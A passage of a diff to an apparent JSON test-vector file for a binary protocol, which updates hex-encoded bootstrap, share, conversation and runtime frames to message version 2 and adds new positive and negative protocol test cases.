"574d58310101000006000000990000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226261645f636f6e766572736174696f6e73227d", "class": "bootstrap", "seq": 6 }, { "name": "bootstrap-up-fault-supervisor-failed", "direction": "up", - "hex": "574d58310101000007000000990000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2273757065727669736f725f6661696c6564227d", + "hex": "574d58310101000007000000990000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2273757065727669736f725f6661696c6564227d", "class": "bootstrap", "seq": 7 }, { "name": "bootstrap-up-fault-second-conversations", "direction": "up", - "hex": "574d583101010000080000009c0000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227365636f6e645f636f6e766572736174696f6e73227d", + "hex": "574d583101010000080000009c0000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227365636f6e645f636f6e766572736174696f6e73227d", "class": "bootstrap", "seq": 8 }, @@ -187,42 +187,42 @@ { "name": "bootstrap-up-fault-bad-plan", "direction": "up", - "hex": "574d58310101000009000000900000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226261645f706c616e227d", + "hex": "574d58310101000009000000900000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226261645f706c616e227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-probe-failed", "direction": "up", - "hex": "574d58310101000009000000940000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2270726f62655f6661696c6564227d", + "hex": "574d58310101000009000000940000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2270726f62655f6661696c6564227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-format-failed", "direction": "up", - "hex": "574d58310101000009000000950000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22666f726d61745f6661696c6564227d", + "hex": "574d58310101000009000000950000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22666f726d61745f6661696c6564227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-replay-failed", "direction": "up", - "hex": "574d58310101000009000000950000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227265706c61795f6661696c6564227d", + "hex": "574d58310101000009000000950000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227265706c61795f6661696c6564227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-mount-failed", "direction": "up", - "hex": "574d58310101000009000000940000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226d6f756e745f6661696c6564227d", + "hex": "574d58310101000009000000940000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226d6f756e745f6661696c6564227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-internal", "direction": "up", - "hex": "574d58310101000009000000900000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22696e7465726e616c227d", + "hex": "574d58310101000009000000900000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22696e7465726e616c227d", "class": "bootstrap", "seq": 9 }, @@ -253,6 +253,111 @@ "hex": "574d58310100000006000000540000007b2276223a312c2274223a226661756c74222c22636f6465223a22696e7465726e616c222c2273746f704e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", "class": "control", "seq": 6 + }, + { + "name": "bootstrap-down-shares", + "direction": "down", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "class": "bootstrap", + "seq": 3 + }, + { + "name": "bootstrap-up-shares-mounted", + "direction": "up", + "hex": "574d58310101000005000000870000007b2276223a322c2274223a227368617265735f6d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "class": "bootstrap", + "seq": 5 + }, + { + "name": "bootstrap-down-conversations-browse-uid", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a32313030302c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "class": "bootstrap", + "seq": 4 + }, + { + "name": "bootstrap-down-conversations-resume", + "direction": "down", + "hex": "574d58310101000004000000c40600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131222c2232323232323232322d323232322d343232322d383232322d323232323232323232323232225d7d7d5d7d", + "class": "bootstrap", + "seq": 4 + }, + { + "name": "bootstrap-down-conversations-either", + "direction": "down", + "hex": "574d58310101000004000000120700007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22656974686572222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131222c2232323232323232322d323232322d343232322d383232322d323232323232323232323232222c2233333333333333332d333333332d343333332d383333332d333333333333333333333333222c2234343434343434342d343434342d343434342d383434342d343434343434343434343434225d7d7d5d7d", + "class": "bootstrap", + "seq": 4 + }, + { + "name": "bootstrap-down-conversations-timeout-a-day", + "direction": "down", + "hex": "574d58310101000004000000780600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a38363430303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "class": "bootstrap", + "seq": 4 + }, + { + "name": "bootstrap-up-runtime-ready-resumed", + "direction": "up", + "hex": "574d58310101000006000000b30000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b22726573756d65225d7d", + "class": "bootstrap", + "seq": 6 + }, + { + "name": "bootstrap-up-fault-share-inventory", + "direction": "up", + "hex": "574d58310101000009000000970000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2273686172655f696e76656e746f7279227d", + "class": "bootstrap", + "seq": 9 + }, + { + "name": "bootstrap-up-fault-share-mount-failed", + "direction": "up", + "hex": "574d583101010000090000009a0000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2273686172655f6d6f756e745f6661696c6564227d", + "class": "bootstrap", + "seq": 9 + }, + { + "name": "bootstrap-up-fault-resume-store-missing", + "direction": "up", + "hex": "574d583101010000090000009c0000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22726573756d655f73746f72655f6d697373696e67227d", + "class": "bootstrap", + "seq": 9 + }, + { + "name": "bootstrap-up-fault-fresh-store-not-empty", + "direction": "up", + "hex": "574d583101010000090000009d0000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2266726573685f73746f72655f6e6f745f656d707479227d", + "class": "bootstrap", + "seq": 9 + }, + { + "name": "runtime-down-file-in-request", + "direction": "down", + "hex": "574d5831010200000300000012000000000400007b226f70223a2273746174227d0a", + "class": "runtime", + "seq": 3 + }, + { + "name": "runtime-down-file-in-end", + "direction": "down", + "hex": "574d583101020000040000000400000000040100", + "class": "runtime", + "seq": 4 + }, + { + "name": "runtime-up-file-out-response", + "direction": "up", + "hex": "574d5831010200000500000010000000000500007b226f6b223a747275657d0a", + "class": "runtime", + "seq": 5 + }, + { + "name": "runtime-up-file-out-end", + "direction": "up", + "hex": "574d583101020000060000000400000000050100", + "class": "runtime", + "seq": 6 } ], "negative": [ @@ -337,7 +442,7 @@ { "name": "plan-travelling-up", "direction": "up", - "hex": "574d583101010000010000006e0600007b2276223a312c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", "error": 